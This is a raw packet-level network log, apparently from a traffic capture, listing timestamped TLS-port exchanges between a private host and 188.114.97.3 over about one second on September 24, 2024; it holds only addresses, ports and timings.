Sep 24, 2024 06:29:54.725291967 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:54.725394964 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:54.725405931 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:54.725464106 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:54.725471020 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:54.725496054 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:54.727408886 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:54.846540928 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:54.846620083 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:54.846647978 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:54.846745014 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:54.846757889 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:54.846796989 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:54.846797943 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:54.846812010 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:54.846854925 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:54.846941948 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:54.847575903 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:54.847610950 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:54.847639084 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:54.847670078 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:54.847680092 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:54.847702980 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:54.847788095 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:54.847816944 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:54.847861052 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:54.847870111 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:54.847939014 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:54.847939014 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:54.847950935 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:54.848040104 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:54.848047972 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:54.848156929 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:54.849347115 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:54.849381924 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:54.849406004 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:54.849414110 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:54.849452019 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:54.849452019 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:54.851181984 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:54.851267099 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:54.851352930 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:54.851394892 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:54.851406097 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:54.851413965 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:54.851423979 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:54.851454973 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:54.851490021 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:54.851494074 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:54.905586958 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:54.967863083 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:54.967875004 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:54.967973948 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:54.967988014 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:54.968019962 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:54.968046904 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:54.968058109 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:54.968108892 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:54.968664885 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:54.968700886 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:54.968739033 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:54.968739033 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:54.968749046 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:54.969357014 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:54.969419003 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:54.969443083 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:54.969450951 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:54.969466925 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:54.969544888 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:54.969585896 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:54.969598055 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:54.969691038 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:54.970391035 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:54.970442057 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:54.970446110 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:54.970467091 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:54.970504999 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:54.970523119 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:54.970545053 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:54.970601082 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:54.971312046 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:54.971379042 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:54.971472025 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:54.971534967 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:54.972245932 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:54.972322941 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:54.972342014 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:54.972351074 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:54.972388983 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:54.972403049 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:54.972481012 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:54.972496986 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:54.972583055 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:54.973184109 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:54.973226070 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:54.973251104 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:54.973263979 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:54.973341942 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:54.973341942 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.057950974 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.058023930 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.058051109 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.058057070 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.058077097 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.058111906 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.058119059 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.058119059 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.058177948 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.058238029 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.058238029 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.058248997 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.084575891 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.085428953 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.085505009 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.085980892 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.086019039 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.086029053 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.086038113 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.086065054 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.086093903 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.086153984 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.086205959 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.086235046 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.086283922 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.086308956 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.086860895 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.086958885 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.086971998 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.087048054 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.087091923 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.087091923 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.087110996 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.087142944 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.087268114 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.087276936 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.087321997 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.087357044 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.087409973 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.087733030 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.087773085 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.087786913 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.087794065 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.087841034 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.088718891 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.088738918 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.088802099 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.088809013 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.088835955 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.090486050 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.090506077 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.090603113 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.090603113 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.090616941 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.091326952 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.091345072 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.091413021 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.091420889 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.092144012 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.092161894 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.092226982 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.092236042 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.092252016 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.106812954 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.148979902 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.149048090 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.149115086 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.149115086 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.149126053 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.149223089 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.176333904 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.176362991 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.176409006 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.176418066 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.176527023 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.177422047 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.177443981 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.177494049 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.177515984 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.177522898 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.177561045 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.177561045 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.177561045 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.177676916 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.177747965 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.177755117 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.208913088 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.208936930 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.208981037 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.209000111 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.209055901 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.209230900 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.209255934 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.209290028 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.209290981 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.209306955 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.209361076 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.209531069 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.209729910 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.209779024 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.209789991 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.209791899 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.209808111 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.209826946 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.209827900 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.209867954 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.209873915 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.209897041 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.209964037 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.210026026 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.210144043 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.210190058 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.210246086 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.210309029 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.210452080 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.239242077 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.239358902 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.267010927 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.267061949 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.267107964 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.267117977 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.267155886 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.267216921 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.267707109 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.267736912 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.267772913 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.267781019 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.267823935 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.267823935 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.267874956 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.267925024 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.268008947 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.268045902 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.268091917 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.268091917 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.268100023 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.268188000 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.268230915 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.268239975 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.268297911 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.299379110 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.299436092 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.299593925 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.299618006 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.299635887 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.299640894 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.299640894 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.299659967 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.299700022 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.299700975 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.299822092 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.299870014 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.299875021 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.299885988 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.299973011 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.299993038 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.300091982 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.300218105 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.300364971 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.300478935 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.300530910 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.300585032 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.300585032 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.300592899 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.300630093 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.300883055 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.300964117 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.301011086 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.301069975 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.301093102 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.301114082 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.301114082 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.301121950 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.301253080 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.343398094 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.357235909 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.357290030 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.357325077 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.357340097 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.357387066 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.357399940 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.357399940 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.357409000 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.357424021 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.357438087 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.357552052 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.357558012 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.357656002 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.358359098 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.358398914 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.358428001 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.358438969 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.358506918 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.358550072 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.358550072 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.358558893 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.358755112 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.358808041 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.358825922 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.358860016 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.359016895 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.359078884 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.390145063 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.390351057 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.390405893 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.390419960 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.390430927 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.390934944 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.390954018 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.390991926 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.391005039 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.391019106 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.391072989 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.391072989 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.391082048 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.391118050 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.391362906 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.391412020 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.391427994 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.391437054 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.391489029 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.391489029 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.391628981 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.391772985 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.391782999 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.391809940 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.391844034 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.391896009 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.391896009 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.391905069 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.442446947 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.447958946 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.447988987 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.448040009 CEST	443	49748	188.114.97.3	192.168.2.9
